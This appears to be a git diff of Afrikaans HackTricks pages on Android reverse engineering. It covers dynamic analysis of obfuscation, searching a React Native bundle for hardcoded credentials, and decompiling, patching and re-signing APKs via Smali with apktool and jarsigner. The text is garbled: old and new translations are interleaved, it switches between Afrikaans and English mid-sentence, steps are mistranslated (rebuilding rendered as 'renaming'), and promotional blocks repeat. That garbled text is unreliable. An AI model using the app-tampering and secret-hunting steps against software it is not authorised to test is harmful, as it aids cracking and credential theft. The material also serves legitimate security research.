||||
- **Identifisering van Versluieringstegnieke**: Deur die gedrag van die toepassing te monitor, kan dinamiese analise help om spesifieke versluieringstegnieke te identifiseer wat gebruik word, soos kode-virtualisering, pakkers of dinamiese kode-generering.
|
||||
- **Blootstelling van Versteekte Funksionaliteit**: Versluierde kode kan versteekte funksionaliteit bevat wat nie deur statiese analise alleen sigbaar is nie. Dinamiese analise maak dit moontlik om alle kodepaaie waar te neem, insluitend diegene wat kondisioneel uitgevoer word, om sulke versteekte funksionaliteit bloot te lê.
|
||||
- **Runtime Decryption**: Baie obfuscation tegnieke behels die enkripsie van strings of kode segmente wat slegs tydens runtime gedekript word. Deur dinamiese analise kan hierdie geënkripteerde elemente op die oomblik van dekripsie vasgevang word, wat hul werklike vorm onthul.
|
||||
- **Identifisering van Obfuscation Tegnieke**: Deur die aansoek se gedrag te monitor, kan dinamiese analise help om spesifieke obfuscation tegnieke wat gebruik word, soos kode virtualisering, packers, of dinamiese kode generasie, te identifiseer.
|
||||
- **Ontdek van Verborgen Funksionaliteit**: Obfuscated kode kan verborgen funksionaliteite bevat wat nie deur statiese analise alleen duidelik is nie. Dinamiese analise laat die waarneming van alle kodepaaie toe, insluitend dié wat voorwaardelik uitgevoer word, om sulke verborgen funksionaliteite te ontdek.
|
||||
|
||||
## Verwysings en Verdere Leeswerk
|
||||
* [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
|
||||
* BlackHat USA 2018: "Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library" \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
||||
* Hierdie praatjie gaan oor die omgekeerde ingenieurswese van een van die mees komplekse anti-analise inheemse biblioteke wat ek gesien het wat deur 'n Android-toepassing gebruik word. Dit dek hoofsaaklik versluieringstegnieke in inheemse kode.
|
||||
* REcon 2019: "The Path to the Payload: Android Edition" \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
|
||||
* Hierdie praatjie bespreek 'n reeks versluieringstegnieke, uitsluitlik in Java-kode, wat deur 'n Android-botnet gebruik is om sy gedrag te verberg.
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
* BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
||||
* Hierdie praatjie bespreek die omgekeerde ingenieurswese van een van die mees komplekse anti-analise native biblioteke wat ek gesien het wat deur 'n Android aansoek gebruik word. Dit dek meestal obfuscation tegnieke in native kode.
|
||||
* REcon 2019: “The Path to the Payload: Android Edition” \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
|
||||
* Hierdie praatjie bespreek 'n reeks obfuscation tegnieke, slegs in Java kode, wat 'n Android botnet gebruik het om sy gedrag te verberg.
|
||||
|
|
|
@ -1,62 +1,64 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
# Analise van React Native-toepassing
|
||||
# React Native Toepassing Analise
|
||||
|
||||
Om te bevestig of die toepassing op die React Native-raamwerk gebou is, volg hierdie stappe:
|
||||
Om te bevestig of die toepassing op die React Native raamwerk gebou is, volg hierdie stappe:
|
||||
|
||||
1. Hernoem die APK-lêer met 'n zip-uitbreiding en pak dit uit na 'n nuwe gids met die opdrag `cp com.example.apk example-apk.zip` en `unzip -qq example-apk.zip -d ReactNative`.
|
||||
1. Hernoem die APK-lêer met 'n zip-uitbreiding en onttrek dit na 'n nuwe gids met die opdrag `cp com.example.apk example-apk.zip` en `unzip -qq example-apk.zip -d ReactNative`.
|
||||
|
||||
2. Navigeer na die nuutgeskepte ReactNative-gids en vind die bates-gids. Binne hierdie gids moet jy die lêer `index.android.bundle` vind, wat die React JavaScript in 'n geminifiseerde formaat bevat.
|
||||
2. Navigeer na die nuut geskepte ReactNative-gids en vind die assets-gids. Binne hierdie gids behoort jy die lêer `index.android.bundle` te vind, wat die React JavaScript in 'n geminimaliseerde formaat bevat.
|
||||
|
||||
3. Gebruik die opdrag `find . -print | grep -i ".bundle$"` om na die JavaScript-lêer te soek.
|
||||
3. Gebruik die opdrag `find . -print | grep -i ".bundle$"` om die JavaScript-lêer te soek.
|
||||
|
||||
Om die JavaScript-kode verder te analiseer, skep 'n lêer met die naam `index.html` in dieselfde gids met die volgende kode:
|
||||
Om die JavaScript-kode verder te analiseer, skep 'n lêer genaamd `index.html` in dieselfde gids met die volgende kode:
|
||||
```html
|
||||
<script src="./index.android.bundle"></script>
|
||||
```
|
||||
Jy kan die lêer oplaai na [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) of volg hierdie stappe:
|
||||
You can upload the file to [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) or follow these steps:
|
||||
|
||||
1. Maak die `index.html` lêer oop in Google Chrome.
|
||||
1. Open the `index.html`-lêer in Google Chrome.
|
||||
|
||||
2. Maak die Ontwikkelaarstoolbalk oop deur **Command+Option+J vir OS X** of **Control+Shift+J vir Windows** te druk.
|
||||
2. Open die Ontwikkelaar Toolbar deur **Command+Option+J vir OS X** of **Control+Shift+J vir Windows** te druk.
|
||||
|
||||
3. Klik op "Bronne" in die Ontwikkelaarstoolbalk. Jy behoort 'n JavaScript-lêer te sien wat verdeel is in gids en lêers, wat die hoofbundel uitmaak.
|
||||
3. Klik op "Sources" in die Ontwikkelaar Toolbar. Jy behoort 'n JavaScript-lêer te sien wat in vouers en lêers verdeel is, wat die hoofpakket vorm.
|
||||
|
||||
As jy 'n lêer genaamd `index.android.bundle.map` vind, sal jy die bronkode in 'n ongeminifiseerde formaat kan analiseer. Kaartlêers bevat bronkartering, wat jou in staat stel om geminifiseerde identifiseerders te karteer.
|
||||
As jy 'n lêer genaamd `index.android.bundle.map` vind, sal jy in staat wees om die bronkode in 'n ongeminifiseerde formaat te analiseer. Kaartlêers bevat bronkaarte, wat jou toelaat om geminifiseerde identifiseerders te kaart.
|
||||
|
||||
Om te soek na sensitiewe geloofsbriewe en eindpunte, volg hierdie stappe:
|
||||
To search for sensitive credentials and endpoints, follow these steps:
|
||||
|
||||
1. Identifiseer sensitiewe sleutelwoorde om die JavaScript-kode te analiseer. React Native-toepassings gebruik dikwels derdeparty-diens soos Firebase, AWS S3-diens-eindpunte, private sleutels, ens.
|
||||
1. Identifiseer sensitiewe sleutelwoorde om die JavaScript-kode te analiseer. React Native-toepassings gebruik dikwels derdeparty-dienste soos Firebase, AWS S3-diens eindpunte, private sleutels, ens.
|
||||
|
||||
2. In hierdie spesifieke geval is daar opgemerk dat die toepassing die Dialogflow-diens gebruik. Soek na 'n patroon wat verband hou met sy konfigurasie.
|
||||
2. In hierdie spesifieke geval is dit waargeneem dat die toepassing die Dialogflow-diens gebruik. Soek vir 'n patroon wat verband hou met sy konfigurasie.
|
||||
|
||||
3. Dit was gelukkig dat sensitiewe hardgekodeerde geloofsbriewe gevind is in die JavaScript-kode gedurende die verkenningsproses.
|
||||
3. Dit was gelukkig dat sensitiewe hard-gecodeerde kredensiale in die JavaScript-kode gevind is tydens die rekonsiliasieproses.
|
||||
|
||||
## Verwysings
|
||||
## References
|
||||
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,68 +1,69 @@
|
|||
# Smali - Ontkompilering/\[Wysiging]/Kompilering
|
||||
# Smali - Decompiling/\[Modifying]/Compiling
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Soms is dit interessant om die toepassingskode te wysig om toegang te verkry tot verborge inligting vir jou (miskien goed verduisterde wagwoorde of vlae). Dan kan dit interessant wees om die apk te ontkompileer, die kode te wysig en dit weer te kompileer.
|
||||
Soms is dit interessant om die toepassingskode te wysig om toegang te verkry tot verborge inligting vir jou (miskien goed obfuskeerde wagwoorde of vlae). Dan kan dit interessant wees om die apk te decompileer, die kode te wysig en dit weer te compileer.
|
||||
|
||||
**Opcodes verwysing:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
|
||||
|
||||
## Vinnige Metode
|
||||
## Vinige Weg
|
||||
|
||||
Met behulp van **Visual Studio Code** en die [APKLab](https://github.com/APKLab/APKLab) uitbreiding, kan jy die toepassing **outomaties ontkompileer**, wysig, **kompileer**, onderteken & installeer sonder om enige bevel uit te voer.
|
||||
Met **Visual Studio Code** en die [APKLab](https://github.com/APKLab/APKLab) uitbreiding, kan jy **outomaties decompileer**, wysig, **hercompileer**, teken & installeer die toepassing sonder om enige opdrag uit te voer.
|
||||
|
||||
'n Ander **skripsie** wat hierdie taak baie vergemaklik, is [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
|
||||
Nog 'n **script** wat hierdie taak baie vergemaklik, is [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
|
||||
|
||||
## Ontkompileer die APK
|
||||
## Decompileer die APK
|
||||
|
||||
Met behulp van APKTool kan jy toegang kry tot die **smali-kode en hulpbronne**:
|
||||
Met APKTool kan jy toegang verkry tot die **smali kode en hulpbronne**:
|
||||
```bash
|
||||
apktool d APP.apk
|
||||
```
|
||||
As **apktool** jou enige fout gee, probeer om die [**nuutste weergawe**](https://ibotpeaches.github.io/Apktool/install/) te installeer.
|
||||
If **apktool** gee vir jou enige fout, probeer[ om die **nuutste weergawe**](https://ibotpeaches.github.io/Apktool/install/) te installeer.
|
||||
|
||||
Sommige **interessante lêers waarop jy moet let** is:
|
||||
Sommige **interessante lêers wat jy moet kyk is**:
|
||||
|
||||
* _res/values/strings.xml_ (en alle xml's binne res/values/\*)
|
||||
* _res/values/strings.xml_ (en alle xmls binne res/values/\*)
|
||||
* _AndroidManifest.xml_
|
||||
* Enige lêer met die uitbreiding _.sqlite_ of _.db_
|
||||
|
||||
As `apktool` **probleme ondervind met die dekodeer van die toepassing**, kyk na [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) of probeer om die argument **`-r`** te gebruik (Dekodeer nie hulpbronne nie). As die probleem in 'n hulpbron was en nie in die bronkode nie, sal jy nie die probleem hê nie (jy sal ook nie die hulpbronne dekodeer nie).
|
||||
As `apktool` **probleme het om die toepassing te dekodeer**, kyk na [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) of probeer om die argument **`-r`** te gebruik (Moet nie hulpbronne dekodeer nie). Dan, as die probleem in 'n hulpbron was en nie in die bronnekode nie, sal jy nie die probleem hê nie (jy sal ook nie die hulpbronne dekompileer nie).
|
||||
|
||||
## Verander smali-kode
|
||||
## Verander smali kode
|
||||
|
||||
Jy kan **instruksies verander**, die **waarde** van sommige veranderlikes verander of **nuwe instruksies byvoeg**. Ek verander die Smali-kode met behulp van [**VS Code**](https://code.visualstudio.com), jy installeer dan die **smalise-uitbreiding** en die redakteur sal jou vertel of enige **instruksie onjuis** is.\
|
||||
Jy kan **verander** **instruksies**, die **waarde** van sommige veranderlikes verander of **voeg** nuwe instruksies by. Ek verander die Smali kode met behulp van [**VS Code**](https://code.visualstudio.com), jy installeer dan die **smalise uitbreiding** en die redigeerder sal jou vertel of enige **instruksie verkeerd is**.\
|
||||
Sommige **voorbeelde** kan hier gevind word:
|
||||
|
||||
* [Voorbeelde van Smali-veranderinge](smali-changes.md)
|
||||
* [Smali veranderinge voorbeelde](smali-changes.md)
|
||||
* [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
|
||||
|
||||
Of jy kan [**hieronder 'n paar Smali-veranderinge wat verduidelik word, nagaan**](smali-changes.md#modifying-smali).
|
||||
Of jy kan [**onderaan kyk na sommige Smali veranderinge verduidelik**](smali-changes.md#modifying-smali).
|
||||
|
||||
## Kompileer die APK weer
|
||||
## Hernoem die APK
|
||||
|
||||
Nadat jy die kode verander het, kan jy die kode **kompileer** deur gebruik te maak van:
|
||||
Na die aanpassing van die kode kan jy die kode **hernoem** met:
|
||||
```bash
|
||||
apktool b . #In the folder generated when you decompiled the application
|
||||
```
|
||||
Dit sal die nuwe APK **kompileer** binne die _**dist**_ vouer.
|
||||
Dit sal **kompiler** die nuwe APK **binne** die _**dist**_ gids.
|
||||
|
||||
As **apktool** 'n **fout** gooi, probeer [die **nuutste weergawe** installeer](https://ibotpeaches.github.io/Apktool/install/)
|
||||
As **apktool** 'n **fout** gooi, probeer[ om die **nuutste weergawe** te installeer](https://ibotpeaches.github.io/Apktool/install/)
|
||||
|
||||
### **Onderteken die nuwe APK**
|
||||
### **Teken die nuwe APK**
|
||||
|
||||
Dan moet jy 'n **sleutel genereer** (jy sal gevra word vir 'n wagwoord en vir sommige inligting wat jy lukraak kan invul):
|
||||
Dan moet jy 'n **sleutel genereer** (jy sal gevra word vir 'n wagwoord en vir 'n paar inligting wat jy lukraak kan invul):
|
||||
```bash
|
||||
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
|
||||
```
|
||||
|
@ -70,28 +71,28 @@ Uiteindelik, **teken** die nuwe APK:
|
|||
```bash
|
||||
jarsigner -keystore key.jks path/to/dist/* <your-alias>
|
||||
```
|
||||
### Optimeer nuwe aansoek
|
||||
### Optimaliseer nuwe aansoek
|
||||
|
||||
**zipalign** is 'n argief-uitlyningstool wat belangrike optimalisering aan Android-aansoek (APK) lêers bied. [Meer inligting hier](https://developer.android.com/studio/command-line/zipalign).
|
||||
**zipalign** is 'n argiefuitlijningsinstrument wat belangrike optimalisering aan Android-toepassing (APK) lêers bied. [Meer inligting hier](https://developer.android.com/studio/command-line/zipalign).
|
||||
```bash
|
||||
zipalign [-f] [-v] <alignment> infile.apk outfile.apk
|
||||
zipalign -v 4 infile.apk
|
||||
```
|
||||
### **Onderteken die nuwe APK (weer?)**
|
||||
### **Teken die nuwe APK (weer?)**
|
||||
|
||||
As jy verkies om [apksigner](https://developer.android.com/studio/command-line/) te gebruik in plaas van jarsigner, moet jy die apk onderteken nadat jy die optimalisering met zipalign toegepas het. MAAR LET OP DAT JY DIE AANSOEK SLEGS EEN KEER MOET ONDERTEKEN MET jarsigner (voor zipalign) OF MET apksigner (na zipalign).
|
||||
As jy **voorkeur** gee aan [**apksigner**](https://developer.android.com/studio/command-line/) in plaas van jarsigner, **moet jy die apk teken** nadat jy **die optimalisering met** zipalign toegepas het. MAAR LET OP DAT JY SLEGS DIE AANSOEK EEN KEER MOET **TEKEN** MET jarsigner (voor zipalign) OF MET aspsigner (na zipalign).
|
||||
```bash
|
||||
apksigner sign --ks key.jks ./dist/mycompiled.apk
|
||||
```
|
||||
## Wysiging van Smali
|
||||
## Modifying Smali
|
||||
|
||||
Vir die volgende Hello World Java-kode:
|
||||
Vir die volgende Hello World Java kode:
|
||||
```java
|
||||
public static void printHelloWorld() {
|
||||
System.out.println("Hello World")
|
||||
}
|
||||
```
|
||||
Die Smali-kode sal wees:
|
||||
Die Smali-kode sou wees:
|
||||
```java
|
||||
.method public static printHelloWorld()V
|
||||
.registers 2
|
||||
|
@ -101,13 +102,13 @@ invoke-virtual {v0,v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
|
|||
return-void
|
||||
.end method
|
||||
```
|
||||
Die Smali instruksie stel is beskikbaar [hier](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions).
|
||||
Die Smali instruksieset is beskikbaar [hier](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions).
|
||||
|
||||
### Ligte Veranderinge
|
||||
|
||||
### Wysig aanvanklike waardes van 'n veranderlike binne 'n funksie
|
||||
### Verander aanvanklike waardes van 'n veranderlike binne 'n funksie
|
||||
|
||||
Sommige veranderlikes word aan die begin van die funksie gedefinieer deur die opcode _const_, jy kan sy waardes wysig, of jy kan nuwe een definieer:
|
||||
Sommige veranderlikes word aan die begin van die funksie gedefinieer met die opcode _const_, jy kan sy waardes verander, of jy kan nuwe eenhede definieer:
|
||||
```bash
|
||||
#Number
|
||||
const v9, 0xf4240
|
||||
|
@ -116,50 +117,6 @@ const/4 v8, 0x1
|
|||
const-string v5, "wins"
|
||||
```
|
||||
### Basiese Operasies
|
||||
|
||||
#### Smali-lêers wysig
|
||||
|
||||
Smali-lêers is die mensleesbare weergawe van die Android Dalvik Bytecode. Dit kan gewysig word om die gedrag van 'n Android-toepassing te verander. Hier is 'n paar basiese operasies wat jy kan uitvoer op Smali-lêers:
|
||||
|
||||
##### 1. Instruksies toevoeg
|
||||
|
||||
Jy kan nuwe instruksies byvoeg om die funksionaliteit van die toepassing te verander. Byvoorbeeld, jy kan 'n nuwe funksie implementeer deur die nodige Smali-instruksies by te voeg.
|
||||
|
||||
##### 2. Instruksies verwyder
|
||||
|
||||
As jy 'n spesifieke funksie of gedrag wil uitskakel, kan jy die relevante Smali-instruksies verwyder. Dit sal verhoed dat die toepassing daardie spesifieke funksie uitvoer.
|
||||
|
||||
##### 3. Instruksies wysig
|
||||
|
||||
Jy kan bestaande Smali-instruksies wysig om die funksionaliteit van die toepassing aan te pas. Byvoorbeeld, jy kan 'n waarde verander wat deur 'n instruksie gebruik word, of jy kan 'n voorwaardelike instruksie verander om 'n ander pad te volg.
|
||||
|
||||
##### 4. Metodes vervang
|
||||
|
||||
Jy kan bestaande metodes in die Smali-lêer vervang met jou eie implementasie. Dit gee jou die vermoë om die funksionaliteit van die toepassing te verander sonder om nuwe instruksies by te voeg.
|
||||
|
||||
##### 5. Klasstruktuur wysig
|
||||
|
||||
Jy kan die klasstruktuur van die Smali-lêer wysig deur klasse te verwyder, nuwe klasse by te voeg of bestaande klasse te wysig. Hierdie operasie kan die gedrag van die toepassing drasties verander.
|
||||
|
||||
##### 6. Hulpbronne wysig
|
||||
|
||||
Smali-lêers bevat ook verwysings na hulpbronne soos teks, beelde en klanklêers. Jy kan hierdie hulpbronne wysig om die visuele of klankaspekte van die toepassing te verander.
|
||||
|
||||
##### 7. Manifestlêer wysig
|
||||
|
||||
Die manifestlêer bevat belangrike inligting oor die toepassing, soos die toestemmings wat dit vereis en die komponente wat dit bevat. Jy kan die manifestlêer wysig om die toepassing se gedrag te beïnvloed.
|
||||
|
||||
##### 8. Smali-lêers saamvoeg
|
||||
|
||||
As jy 'n nuwe funksie wil toevoeg wat afhanklik is van bestaande Smali-kode, kan jy die lêers saamvoeg om die funksionaliteit te bereik.
|
||||
|
||||
##### 9. Smali-lêers opsplit
|
||||
|
||||
As jy slegs 'n deel van die Smali-kode wil wysig, kan jy die lêers opsplit en slegs die relevante deel wysig.
|
||||
|
||||
##### 10. Smali-lêers onderteken
|
||||
|
||||
Nadat jy die Smali-lêers gewysig het, moet jy dit onderteken om te verseker dat die toepassing korrek uitgevoer word.
|
||||
```bash
|
||||
#Math
|
||||
add-int/lit8 v0, v2, 0x1 #v2 + 0x1 and save it in v0
|
||||
|
@ -184,7 +141,7 @@ goto :goto_6 #Always go to: :goto_6
|
|||
```
|
||||
### Groter Veranderinge
|
||||
|
||||
### Logging
|
||||
### Teken
|
||||
```bash
|
||||
#Log win: <number>
|
||||
iget v5, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Get this.o inside v5
|
||||
|
@ -193,19 +150,19 @@ move-result-object v1 #Move to v1
|
|||
const-string v5, "wins" #Save "win" inside v5
|
||||
invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I #Logging "Wins: <num>"
|
||||
```
|
||||
Aanbevelings:
|
||||
Recommendations:
|
||||
|
||||
* As jy verklaarde veranderlikes binne die funksie gaan gebruik (verklaarde v0,v1,v2...), plaas hierdie lyne tussen die _.local \<nommer>_ en die verklarings van die veranderlikes (_const v0, 0x1_)
|
||||
* As jy die logkode in die middel van die funksie se kode wil plaas:
|
||||
* Voeg 2 by die aantal verklaarde veranderlikes: Byvoorbeeld: vanaf _.locals 10_ na _.locals 12_
|
||||
* As jy verklaarde veranderlikes binne die funksie gaan gebruik (verklaarde v0,v1,v2...) plaas hierdie lyne tussen die _.local \<number>_ en die verklarings van die veranderlikes (_const v0, 0x1_)
|
||||
* As jy die logging kode in die middel van die kode van 'n funksie wil plaas:
|
||||
* Voeg 2 by die aantal verklaarde veranderlikes: Byvoorbeeld: van _.locals 10_ na _.locals 12_
|
||||
* Die nuwe veranderlikes moet die volgende nommers van die reeds verklaarde veranderlikes wees (in hierdie voorbeeld moet dit _v10_ en _v11_ wees, onthou dat dit begin by v0).
|
||||
* Verander die kode van die logfunksie en gebruik _v10_ en _v11_ in plaas van _v5_ en _v1_.
|
||||
* Verander die kode van die logging funksie en gebruik _v10_ en _v11_ in plaas van _v5_ en _v1_.
|
||||
|
||||
### Rooster
|
||||
### Toasting
|
||||
|
||||
Onthou om 3 by die aantal _.locals_ aan die begin van die funksie te voeg.
|
||||
|
||||
Hierdie kode is gereed om in die **middel van 'n funksie** **ingevoeg** te word (**verander** die nommer van die **veranderlikes** soos nodig). Dit sal die **waarde van this.o** neem, dit na 'n **String** omskep en dan 'n **rooster** maak met sy waarde.
|
||||
Hierdie kode is voorberei om in die **middel van 'n funksie** ingevoeg te word (**verander** die nommer van die **veranderlikes** soos nodig). Dit sal die **waarde van this.o** neem, **transformeer** dit na **String** en dan 'n **toast** maak met sy waarde.
|
||||
```bash
|
||||
const/4 v10, 0x1
|
||||
const/4 v11, 0x1
|
||||
|
